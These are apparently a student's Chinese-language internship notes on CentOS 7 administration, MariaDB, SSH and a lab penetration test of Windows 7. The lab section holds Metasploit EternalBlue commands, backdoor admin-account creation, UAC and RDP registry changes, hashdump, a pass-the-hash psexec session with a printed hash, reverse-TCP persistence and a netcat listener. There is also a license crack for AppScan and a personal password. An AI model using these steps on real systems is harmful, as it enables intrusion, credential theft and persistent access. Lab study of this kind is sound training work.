实习笔记
cent os 7以及linux基础
安装与登陆
记得稍微学习vi编辑器的使用会方便很多,便于修改文件内容
记得设置网络
忘记开了可以
解决CentOS7安装后没有网络_centos7没网-CSDN博客
输入:cd /etc/sysconfig/network-scripts
可以看到网卡ifcfg-ens34,不是每个人都是ens34别跟着打自己看一下
输入:vi ifcfg-ens34
1
把ONBOOT=no,改成yes
输入:wq保存并退出
CentOS7之前的版本重启服务命令输入“service network restart”
重启后输入:ip addr
1
可以看到ip地址是192.168.20.15,当然配置文件里面默认是dhcp自动获取的你也可以改成static静态的
安装net-tools使用ifconfig
图形界面安装
当你安装centOS7服务器版本的时候,系统默认是不会安装GUI的图形界面程序,这个需要手动安装CentOS7 Gnome GUI包。
在系统下使用命令安装gnome图形界面程序
在安装Gnome包之前,需要检查一下安装源(yum)是否正常,因为需要在yum命令来安装gnome包。
第一步:先检查yum 是否安装了,以及网络是否有网络。如果这两者都没有,先解决网络,在解决yum的安装。
(配置步骤可以查看我的博客文章-centOS-配置网络地址-的步骤来实现 )
第二步:在命令行下 输入下面的命令来安装Gnome包。
# yum groupinstall "GNOME Desktop" "Graphical Administration Tools"
第三步:更新系统的运行级别。
# ln -sf /lib/systemd/system/runlevel5.target /etc/systemd/system/default.target
第一种 图形转变命令行
1、系统界面按ctrl+alt+f3
第二种 图形转变命令行
1、将图形化界面切换为命令行,输入命令【systemctl set-default multi-user.target 】 之后再输入reboot重启即可。
2、重启之后就是命令行模式。
第一种 命令行转变图形
在命令行模式时
1.按ctrl+alt+f1
第二种 命令行转变图形
1、将命令行切换成图形化界面的命令【systemctl set-default graphical.target】。
2、之后再输入reboot重启即可。
更换镜像源(解决Cent os EOL)
yum makecahe
我们在更新yum源或者出现配置yum源之后,通常都会使用yum makecache 生成索引缓存索引提供搜索安装速度,索引缓存存储位置; /var/cache/yum/
yum makecache fast
yum makecache fast命令是将软件包信息提前在本地索引缓存,用来提高搜索安装软件的速度,建议执行这个命令可以提升yum安装的速度。
yum clean all
yum 会把下载的软件包和header存储在cache中而不自动删除。如果觉得占用磁盘空间,可以使用yum clean指令清除索引缓存和下载包的缓存。
1.备份原配置文件
cd /etc/yum.repos.d
mkdir bak
mv *.repo bak
cp bak/CentOS-Base.repo .
2.替换默认仓库源为阿里镜像位置
(注释掉原来的镜像自动查找)
sed -i 's/mirrorlist=/#mirrorlist=/g' CentOS-Base.repo
(打开指定仓库源位置)
sed -i 's/^#baseurl=/baseurl=/g' CentOS-Base.repo
(替换centos仓库位置为阿里)
sed -i 's/mirror.centos.org/mirrors.aliyun.com/g' CentOS-Base.repo
3.更新本地缓存
yum makecache
4.查找软件
yum search {软件名}
如:
yum search open-vm-tools
5.安装软件
yum install {软件名} {-y} ### -y表示直接确认,不再提示
比如:
yum install open-vm-tools -y
Mariadb 安装
同时安装mariadb和mariadb-server
yum install mariadb-server mariadb
systemctl enable mariadb
systemctl start mariadb
启动Maridb并设置开机启动
见上
修改数据库密码
mysql_secure_installation
[root@localhost ~]# mysql_secure_installation
NOTE: RUNNING ALL PARTS OF THIS SCRIPT IS RECOMMENDED FOR ALL MySQL
SERVERS IN PRODUCTION USE! PLEASE READ EACH STEP CAREFULLY!
In order to log into MySQL to secure it, we'll need the current
password for the root user. If you've just installed MySQL, and
you haven't set the root password yet, the password will be blank,
so you should just press enter here.
Enter current password for root (enter for none):<–初次运行直接回车
OK, successfully used password, moving on…
Setting the root password ensures that nobody can log into the MySQL
root user without the proper authorisation.
Set root password? [Y/n] #是否设置root用户密码,输入y并回车或直接回车
New password: #设置root用户的密码
Re-enter new password: #再输入一次你设置的密码
Password updated successfully!
Reloading privilege tables..
… Success!
By default, a MySQL installation has an anonymous user, allowing anyone
to log into MySQL without having to have a user account created for
them. This is intended only for testing, and to make the installation
go a bit smoother. You should remove them before moving into a
production environment.
Remove anonymous users? [Y/n] #是否删除匿名用户,生产环境建议删除,所以直接回车
… Success!
Normally, root should only be allowed to connect from 'localhost'. This
ensures that someone cannot guess at the root password from the network.
Disallow root login remotely? [Y/n] #是否禁止root远程登录,根据自己的需求选择Y/n并回车,建议禁止
… Success!
By default, MySQL comes with a database named 'test' that anyone can
access. This is also intended only for testing, and should be removed
before moving into a production environment.
Remove test database and access to it? [Y/n] #是否删除test数据库,直接回车
- Dropping test database…
… Success!
- Removing privileges on test database…
… Success!
Reloading the privilege tables will ensure that all changes made so far
will take effect immediately.
Reload privilege tables now? [Y/n] #是否重新加载权限表,直接回车
… Success!
Cleaning up…
All done! If you've completed all of the above steps, your MySQL
installation should now be secure.
Thanks for using MySQL!
登陆数据库
mysql -u root -p
输入密码
show databases
修改字符集为UTF-8
在/etc目录下的my.cnf文件
SSH远程登陆
1.查看安装
rpm -qa|grep -E "openssh"
如果存在这些文件,则可以跳过安装,直接进行远程连接。
2. 安装openssh-server服务
yum install openssh-server -y
3.配置OpenSSH服务(默认的配置已可以正常工作)
OpenSSH的主配置文件:/etc/ssh/sshd_config
Port=22 设置SSH的端口号是22(默认端口号为22)
Protocol 2 启用SSH版本2协议
ListenAddress 192.168.0.222 设置服务监听的地址
DenyUsers user1 user2 foo 拒绝访问的用户(用空格隔开)
AllowUsers root osmond vivek 允许访问的用户(用空格隔开)
PermitRootLogin no 禁止root用户登陆
PermitEmptyPasswords no 用户登陆需要密码认证
PasswordAuthentication yes 启用口令认证方式
pubkeyAuthentication 公钥密码登陆开启
允许或限制 SSH 访问
如何在 CentOS 7 上安装启用 OpenSSH (linux-console.net)
您可能希望限制某些用户或 IP 地址的 SSH 访问。为此,您可以使用 SSH 配置文件中的AllowUsers、DenyUsers、AllowGroups 和DenyGroups 选项。例如,要仅允许名为 jdoe 的用户访问,请将以下行添加到配置文件中 -
AllowUsers jdoe
要拒绝访问名为 jsmith 的用户,请添加以下行 -
DenyUsers jsmith
您还可以根据 IP 地址允许或拒绝访问。例如,要仅允许来自特定 IP 地址的访问,请添加以下行 -
Match Address 192.168.1.100 AllowUsers jdoe
PasswordAuthentication no 禁用密码登陆
PermitEmptyPasswords no 用户登陆需要密码认证
pubkeyAuthentication 公钥密码登陆开启
PermitRootLogin no 禁用根登录
启动sshd并设置开机启动
(此时若无法启动,提示process exited with error code. See systemctl status sshd.service and “journalctl -xe” for details
)
可使用sshd -t
排查错误原因
我在这里第31行代码Logging少了个#注释,加上
下面是常用更改
4.重启OpenSSH服务
service sshd restart(更新为systemctl restart sshd)
5.如果不能登录连接,则是没有开放端口,开启防火墙的22端口:
sudo firewall-cmd --zone=public --add-port=22/tcp --permanent
sudo service firewalld restart
其他博客连接ssh
一.先查看网络是否连接,使用ping www.baidu.con ,试试是否能ping通网站,可以代表网络已经连接。 ``` [root@localhost home]# ping www.baidu.com PING www.a.shifen.com (14.215.177.38) 56(84) bytes of data. 64 bytes from 14.215.177.38 (14.215.177.38): icmp_seq=1 ttl=128 time=40.1 ms 64 bytes from 14.215.177.38 (14.215.177.38): icmp_seq=2 ttl=128 time=96.2 ms 64 bytes from 14.215.177.38 (14.215.177.38): icmp_seq=3 ttl=128 time=43.5 ms ``` ping通了,说明网络连接没有问题。 二.可以先输入命令netstat -an| grep ssh,查看ssh是否开启,如果开启就可以直接远程连接. ``` [root@localhost home]# netstat -an |grep ssh ....................... ........................ ``` 显示没有开启 三.开启SSH连接 1.要确保centos7安装了openssh-server,在终端输入yum list installed | grep openssh-server ``` [root@localhost hjw]# yum list installed |grep openssh-server 1 我这显示已经安装了,如果没有输出显示表明没有安装,通过输入yum install openssh-server进行安装。 [root@localhost hjw]# yum install openssh-server 1 2.安装好后,使用vim打开/etc/ssh/下面的sshd_config文件进行更改 [root@localhost hjw]# vim /etc/ssh/sshd_config 1 编辑打开的文件: ......... ........ Port 22 #将改行前面的#键去掉,开启22端口 #AddressFamily any ListenAddress 0.0.0.0 #将改行前面的#键去掉 ListenAddress :: #将改行前面的#键去掉 ....... ......... #LoginGraceTime 2m PermitRootLogin yes #将改行前面的#键去掉 允许远程登录 #StrictModes yes ........... .............. #PasswordAuthentication yes #PermitEmptyPasswords no PasswordAuthentication yes #将改行前面的#键去掉,这是开启用户名和密码登录 ``` 保存文件后退出 3.编辑完后要开启sshd服务,输入sudo service sshd start ``` [root@localhost hjw]# sudo service sshd start Redirecting to /bin/systemctl start sshd.service ``` 4.检查22端口是否开通,输入命令netstat -an | grep 22 ``` [root@localhost hjw]# netstat -an| grep 22 tcp 0 0 192.168.122.1:53 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp6 0 0 :::22 :::* LISTEN ``` 表明已经开通,可以根据ip地址进行远程连接,使用ifconfig命令获取ip地址 连接成功。
其他有趣的尝试
权限不够
可以把jing用户添加到用户组来解决这个问题(暂时没尝试,只是猜测
Linux数据库使用
SHOW VARIABLES LIKE 'character_set%'; SHOW VARIABLES LIKE 'collation%'; 这些查询会返回当前数据库连接的字符集和校对设置。 通过这些查询,可以了解到 MySQL 中的字符集配置情况。
我们可以使用以下语法来查看表的结构: desc 表名; 例如,要查看名为 employees 的表的结构,可以运行以下命令:desc employees; 上述命令会返回关于 employees 表的列名、数据类型、长度、是否允许空值等详细信息
修改默认字符集
数据库查询用户与导出导入
MySQL 导入数据 | 菜鸟教程 (runoob.com)
如果你需要导出整个数据库的数据,可以使用以下命令:
$ mysqldump -u root -p databasename > filename.txt
password ******
mysqldump参数
--no-create-info
参数会跳过create table 语句
--skip-add-locks
参数加上会跳过锁表语句
--set-gtid-purged
参数跳过导gtid
还原数据
mysql> create database abc; # 创建数据库
mysql> use abc; # 使用已创建的数据库
mysql> set names utf8; # 设置编码
mysql> source /home/abc/abc.sql # 导入备份数据库
SELECT DISTINCT CONCAT('User: ''',user,'''@''',host,''';') AS query FROM mysql.user;
#查看所有数据库用户,权限
建立连接到idea可以方便的查看数据库内的信息
创建实例
create table databasename.tablename
(
SID int not null,
name varchar(10) null,
age int null,
sex VARCHAR(5) null,
class int null,
constraint studentid
primary key (SID)
);
INSERT INTO databasename.tablename (SID, name, age, sex, class)
VALUES (1026, 'name', 14, 'man', 1);
VI/VIM编辑器
其他简单操作省略,打开,切换模式,保存退出等
:w 保存文件
:q 退出文件
:wq 保存并退出文件
:w! 强制保存文件
:q!强制退出文件
:wq! 强制保存并退出文件
:w 1.txt 将文件另存到1.txt
:1,3 w 1.txt 将1-3行内容另存到1.txt
:r 2.txt 将2.txt文件内容写入到该文件光标所在行中
:set nu 显示行号
:set nonu 取消显示
普通模式
键盘上下左右控制光标移动
0 $ 分别表示,光标跳到所在行的行首和行尾
gg G 分别表示,光标跳到首行和尾行
y n(n表示复制当前光标下几行内容)复制光标所在行内容
yy 复制光标所在行内容(以行为单位)
d n 删除(删除当前光标下n行)
dd 删除当前光标所在行(以行为单位)
p粘贴
u撤销(撤销操作)
制、粘贴、剪切
选择文本
- v+光标移动 (按字符选择)高亮选中所要的文本,然后进行各种操作(比如,d表示删除)。
- V (按行选择)
- v+选中的内容+c 更改选中的文字
复制:y(ank)
- y 用v命令选中文本后,用y进行复制
- yy 复制当前行,然后用p进行粘贴
- 5yy 复制从当前行开始的5行
- y_ 等同于yy
- Y 等同于yy
- yw 复制当前单词
- y$ 从当前位置复制到行尾
- y0 从当前位置复制到行首
- y^ 从当前位置复制到第一个非空白字符
- yG 从当前行复制到文件结束
- y20G 从当前行复制到第20行
- y?bar 复制至上一个出现bar的位置
粘贴:p(aste)
- p(小写) 在光标位置之后粘贴
- P(大写) 在光标位置之前粘贴
剪切
- v + 方向键(hjkl)选中内容 + d 剪切 + p粘贴
查找
/要查找的字符串即可查找
命令
基础命令
whoami
whoami:显示当前登录主机的用户名
与whomai命令类似的是
- who
- w
date
显示日期
hostname
hostname:显示计算机(主机)名
hostname + 名称可设置计算机名
pwd
查看当前目录
常见的目录表示方法
/代表根目录
. 代表当前目录或者本目录
- .. 代表当前目录的上级目录或者父目录
- 代表当前用户的主目录
目录名 代表当前目录下的目录
/目录名 代表根目录下的目录
/目录名1/目录名2 代表根目录下目录名1下的目录名2
cd
进入目录
ls
查看当前目录下文件
参数列表
-
-l 详细信息显示
-
-a 显示隐藏文件
-
-ld 目录名 显示制定目录的属性
-
ll 和ls -l效果一样
mkdir
创建目录
touch
创建文本或更新文件日期、
cp
复制文件或目录
cp 目录1/文件1 目录2 复制目录1下的文件到目录2下
cp 目录1/文件2 目录2/文件2 复制目录1下的文件到目录2下,并 改名为文件2
cp -r 目录1 目录2 复制目录1到目录2下
cp -r 目录1 目录2/目录3 复制目录1到目录2下,并改名为目录3
rm
删除
mv
移动
man
查看帮助手册
vi
vim编辑器
⭐chattr
+i 使root用户无法删除
-i 撤销
渗透测试
注意:渗透测试需要得到认可,不可以进行网络攻击
白盒测试
知道内部结构
灰度测试
介于两者之间
黑盒测试
不知道内部结构,外部测试
kali 20224.2 x86_64 amd64攻击靶机 windows 7 MS17-010
[原PPT](./课件/PTES2-1、《网络空间安全—渗透测试》部署 Metasploit.pdf)
MetaSploit
数据库服务
MSF控制台
常用命令见PPT
nmap 扫描漏洞端口
扫描192.168.66.0到192.168.66.24
永恒之蓝MS17-010示例:
每次主机IP都有可能发生变化,记得重新查找IP
- 前置信息收集
- 模块调用
- 威胁建模(漏洞测试
- 渗透攻击
- 口令提取
这里开了win 7靶机和kali 2024.2,靶机提前查看了ip地址192.168.248.133省去搜索
网络连接模式均为桥接NAT
win7需要在网络页面打开公用网络共享才能扫到端口,服务
meterpreter控制台进入
活动主机探测
arp-scan -l
db_nmap -v -sn 192.168.248.0/254(网络0到254)
得知IP地址
hosts
查看活动主机统计
需要连接数据库,开启后sudo msfdb init连接
端口扫描
db_nmap -v -sS 主机或网络(window 7虚拟机ip地址)
完整扫描
db_nmap -v -A 主机
按住ENTER可以刷新进度
查看 主机服务统计
services
记住常用端口开启什么服务
135:共享文件
扫描是否有漏洞可以利用
//带星号的部分不要直接复制有转义字符
定位模块
locate *.nse
、
nmap内置Nessus洞分析脚本
locate *vuln*.nse
搜索脚本
search -h (帮助信息)
search 模块名关键字
search 模块名关键字 type:类型(如:auxiliary、exploit、 payload、post )
search 模块名关键字 type:类型 platform:系统类型(如:windows、linux、unix)
search smb scanner type:【exploit(表示攻击)】扫描工具无攻击型
用脚本扫描主机(多个脚本同时执行)
db_nmap -v --script= *smb*.nse 主机
执行结果
单个脚本扫描漏洞
查看漏洞统计
vulns
没有扫描到漏洞
演示视频中存在漏洞
MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法
MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法-CSDN博客
通过services了解到445端口确实开放
试着扫描一下
搜索并使用永恒之蓝漏洞扫描工具
扫描并设置目标,进行分析
结果显示(绿色 [+]一行)可能存在MS17-010
使用ms17-010攻击模块,对靶机进行攻击
use exploit/windows/smb/ms17_010_eternalblue
set rhost 目标主机
run或者expliot
得到shell
简单直接执行命令
1.键入screenshot截图
2.键入 shell进入shell
3.输入chcp 65001解决乱码问题
4.*按键* *ctrl-Z* 或 background 将渗透会话存入后台。
通过shell对靶机进行控制
- 创建新用户 ,语法:net user 用户名 密码 /add
net user hacker hacker /add
-
将用户hacker添加至管理员组
net localgroup administrators hacker /add
-
开启远程桌面功能
查看3389端口状态:netstat -ano
看到3389端口并没有开启,开启3389端口,命令:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
- 远程桌面连接靶机(kali中)
rdesktop 192.168.248.133:3389
Autoselecting keyboard map 'en-us' from locale报错
解决方法:
登录控制面板——系统和安全——允许远程访问
把仅允许前面的勾给去掉。
Core(error): tcp_connect(), unable to connect to 192.168.248.135
把主机防火墙关闭
用创建的用户ssh连接进入主机
rdesktop -u hacker -p hacker 192.168.248.135:3389
系统用户名和口令HASH值都存储在安全账户管理数据库(SAM),通过运行meterpreter hashdump 渗透模块可以读取SAM数据库内容,提取用户的口令HASH值
search hashdump type:post platform:windows
\1. 返回*meterpreter*控制台,将渗透会话迁移到*service*进程(以便获取system特权)
- ps查看目标机器进程
- 输入getpid命令查看Meterpreter Shell的进程
- 输入migrate 2020 将shell进程迁移到explorer.exe进程里(迁移进程选择稳定进程)
注:自动迁移进程命令:run post/windows/manage/migrate
输入getpid查看当前PID,发现变为2020
进程迁移完后,原先PID为2980的进行会自动关闭,如未关闭可以输入kill 2980 杀掉进程
使用搜索到的合适 hashdump工具
换个工具
在Meterpreter Shell提示符下输入hashdump命令,将导出目标机sam数据库中的Hash。注意,在非system权限下会出现失败,报错
“priv_passwd get_sam_hashes: Operation failed: The parameter is incorrect.
可能是进程没有权限,试着插入service进程
用户没有权限
说明攻击的用户没有权限,发现是Windows 7登陆用户不是管理员用户没有权限
切换靶机用户为管理员再次攻击hashdump即可获得hash值
利用ophcrack破解hash值
先加载这两个密码表
输入单个hash数值
点击crack破解密码
使用smb_login验证密码登陆
set参数rhost,smbpass(密码),smbuser(用户)
Meterpreter 文件控制修改在靶机访问网页
*实训记录:* |
---|
使用sysinfo命令可以查看有关目标系统的基本信息,包括磁盘信息。 ![img](file:///C:\Users\JING'Y~1\AppData\Local\Temp\ksohtml22604\wps2.jpg) |
Cd 移动 |
Mkdir 创建目录 |
rmdir 删除目录 |
cat抓取文件查看文本文件内容 |
edit default.htm 编辑文件内容 |
Download 文件下载文件 |
Upload 上传文件 |
要想在靶机访问网页需要安装IISweb管理服务
打开该服务
万维网服务也要打开
靶机可以访问
注册表控制
略(实现开机启动,修改服务,修改端口,隐藏用户等
Meterpreter 后门植入
在Meterpreter控制台: *run* persistence -h 了解*运行选项*
run persistence
参数
*主要是:**-r 本机IP对方连回来、-p 连我的哪个端口、-X*
进入meterpreter模式,攻击成功
后门植入方式一
msf利用ms17-010永恒之蓝获取win7 shell并留后门
创建用户有两种方式
第一种:在meterpreter模式直接创建,创建用户直接具有administrator权限
```
meterpreter > run post/windows/manage/enable_rdp USERNAME=test PASSWORD=123456
```
![image-20240711205204498](D:\Desktop\实习笔记\实习笔记图片\image-20240711205204498.png)
第二种:进入shell创建用户后添加到administrator管理员组
-
meterpreter > shell C:\Windows\system32>net user test1 123456 /add C:\Windows\system32>net localgroup administrators test1 /add C:\Windows\system32>net user test1
此时你就可以远程登录靶机,登录靶机的方式依然有两种。
第一种:远程桌面登录
root@kali:~# rdesktop 192.168.72.128
第二种:SAM值登录
SAM值登录要注意以下几点:
1.获取SAM密码
2.关闭windows的UAC
3.psexec模块连接登录
1.hashdump获取密码hash密码值
2.关闭UAC
关闭UAC需要重启才生效
- 关闭UAC方式一:
链接:windows7如何关闭UAC - 关闭UAC方式二:
meterpreter > shell
C:\Windows\system32>cmd.exe /k %windir%\System32\reg.exe ADD
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t
REG_DWORD /d 0 /f
- 参数说明
ADD 添加一个注册表项
-v 创建键值
-t 键值类型
-d 键值的值
3.psexec模块连接登录
msf5 exploit(windows/smb/webexec) > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/psexec) > set lhost 192.168.72.131
lhost => 192.168.72.131
msf5 exploit(windows/smb/psexec) > set rhosts 192.168.72.128
rhosts => 192.168.72.128
msf5 exploit(windows/smb/psexec) > set smbuser test
smbuser => test
msf5 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
smbpass => aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
msf5 exploit(windows/smb/psexec) > set smbdomain workgroup
smbdomain => workgroup
msf5 exploit(windows/smb/psexec) > run
如果UAC没关此时就会出现Exploit failed [no-access]: RubySMB::Error::UnexpectedStatusCode STATUS_ACCESS_DENIED的状况。
关闭UAC的后登录成功截图
后门植入方式二
Lhost本机IP Lport本机端口
Rhost目标IP Rport目标端口
搜索persistence
植入
使用 set lhost ,set lport ,set STARTUP (用户,SYSTEM) ,set SESSION设置相关参数
set lhost 192.168.248.131#自己改
set lport 2020#自己改
set session 1#自己改
set startup SYSTEM#如果startup参数为USER可能不能正常运行(为什么呢)
设置必要参数
[*] Running persistent module against SANS via session ID: 1
[+] Persistent VBS script written on SANS to C:\Windows\TEMP\XUHKkpH.vbs
[*] Installing as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\OgUuRSshhg
[+] Installed autorun on SANS as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\OgUuRSshhg
[*] Clean up Meterpreter RC file: /home/kali/.msf4/logs/persistence/SANS_20240711.3311/SANS_20240711.3311.rc
[*] Running persistent module against SANS via session ID: 3
[+] Persistent VBS script written on SANS to C:\Windows\TEMP\oTneBblKWMz.vbs
[*] Installing as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MNKZHEEroV
[+] Installed autorun on SANS as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MNKZHEEroV
[*] Clean up Meterpreter RC file: /home/kali/.msf4/logs/persistence/SANS_20240711.3640/SANS_20240711.3640.rc
后门连接
search multi/handler
set payload windows/meterpreter/reverse_tcp
这个写错了,lport应该是本机端口2020
设置lhost并运行 run
当主机开机登陆时就可以获得shell
DVWA安装部署,通关情参考另一篇文档
联网下载DVWA
本人之前乱搞把系统网络配置弄坏了,重新安装了CENTOS 7,望周知
一、安装部署 Linux (centos7)
yum update -y
#关闭selinux
sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config #永久关闭重启生效
setenforce 0 #临时关闭
第一步更新失败检查网络和镜像源,网络配置有问题
一、查看SELinux状态:
1、我们可以通过查看配置文件的命令 cat /etc/selinux/config 来查看状态
发现SELinux共有3个状态enforcing (执行中)、permissive (不执行但产生警告)、disabled(关闭)。
2,也可以用这个命令检查:getenforce
[root@localhost /]# getenforce
Enforcing
3、也可以用下述命令;如果SELinux status参数为enabled即为开启状态
[root@localhost /]# /usr/sbin/sestatus -v
SELinux status: enabled
二、关闭SELinux:
1、临时关闭(重启机器后失效):
setenforce 0设置为permissive模式;setenforce 1 设置为enforcing模式;
setenforce 0
2、永久关闭(需要重启机器):
sed -i s#SELINUX=enforcing#SELINUX=disabled# /etc/selinux/config
重启机器即可
二、安装部署LAMP
1.httpd
##
yum install httpd
##
systemctl enable --now httpd
##
systemctl status httpd
##
systemctl is-enabled httpd
##Allow Apache Through the FirewallD
firewall-cmd --add-port=80/tcp --permanent#这个命令是用于在基于Firewalld的Linux系统上添加一个永久性规则来开放TCP端口80。permanent表示永久
firewall-cmd --reload
##check brower web http://xxxxxx/
2.MariaDB Database Server
yum install mariadb-server
mysql -V
systemctl enable --now mariadb
mysql_secure_installation#初始化
已经安装过了
3. PHP
##
#yum install php php-mysqlnd
#上面是5.x版本的,别装
##
yum install epel-release
##
rpm -ivh http://rpms.famillecollet.com/enterprise/remi-release-7.rpm
##Reset PHP 7.2 module;
#yum module reset php:7.2
##Reset PHP 7.3 module;
#yum module reset php:7.3
##Enable PHP 7.4 remi repository.
yum --enablerepo=remi install php74-php
yum --enablerepo=remi install php74-php-mysql
##检查下php版本
cd /usr/bin
ln -s php74 php
php -v
##可选安装扩展模块,EXTENSION替换为对应的模块名
yum --enablerepo=remi install php74-php php74-php-gd php74-php-xml php74-phpsockets php74-php-session php74-php-snmp php74-php-mysql
#最后一段命令可以代替前面的所有安装命令
4.测试环境
vi /var/www/html/test.php
自己建立的文件
<?php
phpinfo();
?>
重启一下httpd服务
systemctl restart httpd
浏览器测试下看看是否可以看到php相关信息
默认网页
修改后网页
三、安装部署dvwa
1.创建DVWA所用的数据库
mysql -u root -p
create database dvwa;
create user dvwa_user @localhost identified by 'XXXXX';#密码
grant all on dvwadb.* to dvwa_user@localhost identified by 'xxxxx';#把dvwadb改成dvwa
flush privileges;
quit;
来自chatGPT解释:
这两条MySQL语句用于在MySQL数据库中授权用户和刷新权限:
grant all on dvwadb.* to dvwa_user@localhost identified by 'xxxxx';
grant
: 这是MySQL的授权命令,用于授予特定权限给用户。all
: 表示授予所有权限,包括SELECT、INSERT、UPDATE、DELETE等。dvwadb.*
: 表示授权应用于名为dvwadb
的数据库的所有表 (*
是通配符,表示所有表)。to dvwa_user@localhost
: 指定授予权限的用户为dvwa_user
,并限定只能从本地 (localhost
) 连接。identified by 'xxxxx'
: 指定用户的密码为xxxxx
。这个密码应该是实际使用的密码,用于验证用户身份。综合起来,这条语句的作用是在MySQL中为
dvwa_user
用户授予对dvwadb
数据库的所有权限,并且用户需要使用指定的密码来进行身份验证。
flush privileges;
flush privileges
: 这是一个MySQL命令,用于重新加载授权表,使新的授权或权限更改生效,而不需要重启MySQL服务。在执行授权或修改权限后,通常需要执行
flush privileges
命令,以便MySQL立即应用这些更改,而不必等到下一次MySQL服务重启。请注意,执行这些命令需要具有适当的MySQL权限,通常是
GRANT
权限或超级用户权限 (SUPER
)。
注释:自己的密码是 3081909107
2.配置DVWA的PHP环境
#安装gd模块
yum --enablerepo=remi install php74-php-gd
#再次检查php版本
php -v
已经安装过了
3.修改php 参数
ln -s /etc/opt/remi/php74/php.ini /etc/php.ini
vim /etc/php.ini
把原来的配置打#注释
##允许远程文件包含-打开
allow_url_fopen = On
allow_url_include = On ##要改
## 是否隐藏php警告信息
display_errors = On ##要改
display_startup_errors = On ##要改
4.上传DVWA软件 上传dvwa压缩包,并解压/var/www/html目录下
Windows和Linux虚拟机之间互传文件_centos7怎么从本地windows上传压缩文件至虚拟机-CSDN博客
shell连接XTP传输文件
解压缩tar压缩包
假设为zip文件
sudo unzip ****.zip -d /var/www/html
不支持unzip命令
重新打包了一个tar文件传输
假设dvwa压缩包的文件名为 dvwa.tar.gz
,使用以下命令解压缩到/var/www/html
目录下:
对于 .tar.gz 格式的压缩包:
sudo tar -xzf dvwa.tar.gz -C /var/www/html
-
sudo
: 以超级用户权限运行命令,可能需要输入管理员密码。 -
tar
: 解压缩命令。 -
-xzf
: 参数用来解压缩,其中:
x
: 解压缩z
: 使用gzip解压缩f
: 指定后面跟着文件名
-
dvwa.tar.gz
: 压缩包的文件名。 -
-C /var/www/html
: 指定解压缩到的目标目录是/var/www/html
。
对于 .tar.bz2 格式的压缩包:
如果是 .tar.bz2
格式的压缩包,命令略有不同:
sudo tar -xjf dvwa.tar.bz2 -C /var/www/html
j
: 使用bzip2解压缩。
5.修改相关配置
复制配置文件,以下 两命令二选一即可。
数据库连接信息:
1.cp /var/www/html/config/config.inc.php{.dist,}
2.cp /var/www/html/config/config.inc.php.dist /var/www/html/config/config.inc.php
vim /var/www/html/config/config.inc.php
修改以下内容:
...
# Database variables
# WARNING: The database specified under db_database WILL BE ENTIRELY DELETED
during setup.
# Please use a database dedicated to DVWA.
#
# If you are using MariaDB then you cannot use root, you must use create a
dedicated DVWA user.
# See README.md for more information on this.
$_DVWA = array();
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'dvwa_user';
$_DVWA[ 'db_password' ] = 'xxxxx';
...
安装eCAPTCHA keys
eCAPTCHA keys 为谷歌提供的验证服务,国内不好访问,复制以下进去即可.
...
# ReCAPTCHA settings
# Used for the 'Insecure CAPTCHA' module
# You'll need to generate your own keys at:
https://www.google.com/recaptcha/admin
$_DVWA[ 'recaptcha_public_key' ] = '6LcWVswUAAAAAHPp-TlOuNcLcrw7iAWVhtOrDYFm';
$_DVWA[ 'recaptcha_private_key' ] = '6LcWVswUAAAAABssYEu10VtWinRub6b_D8zn_sSL';
...
6.修改文件属性
将文件修改为apach所拥有,不然因为是root解压出来的文件apache没有访问权限
不要chmod 777对服务器来说比较危险
chown -R apache:apache /var/www/html
7.重启apache服务
systemctl restart httpd
四、完成部署
使用浏览器打开页面,按照配置向导完成后续配置
linux中php版本升级_centos7 php7升级到php8.1-CSDN博客
php版本过低升级到7.4
因为不小心执行了第一个命令
卸载原来的php再次安装并修改配置
有文件就覆盖掉
systemctl restart httpd
进入DVWA
AppScan(类似的nessus)
AppScan 的安装+激活以及+漏扫dvwa,生成安全报告_hcl appscan 许可证注册-CSDN博客
安装包(链接暂时没有上传)
安装完Appscan后将AppScanStdCrk目录下rcl_rational.dll替换安装路径下的同名文件,将AppScanStandard.txt后缀名.txt去掉
安装完成之后激活许可证,打开软件,点击帮助-许可证-切换到IBM许可证,
选择解压得到的文件夹AppScanStdCrk中的AppScanStandard.txt去掉后缀名作为证书导入进去即可。
设置起始URL,其余默认即可,保存文件开始扫描
Appscan的cookie登录扫描的设置:
配置登陆选项,配置cookie设置跟踪并修改security为固定值Low
2024最新最全:漏扫工具Appscan使用(非常详细)从零基础入门到精通,看完这一篇就够了。_appscan使用教程-CSDN博客
VULNHUB靶场
DC-1-DC-9
注释
nc
在另一个trminal窗口中监听端口活动
nc -lvp 2020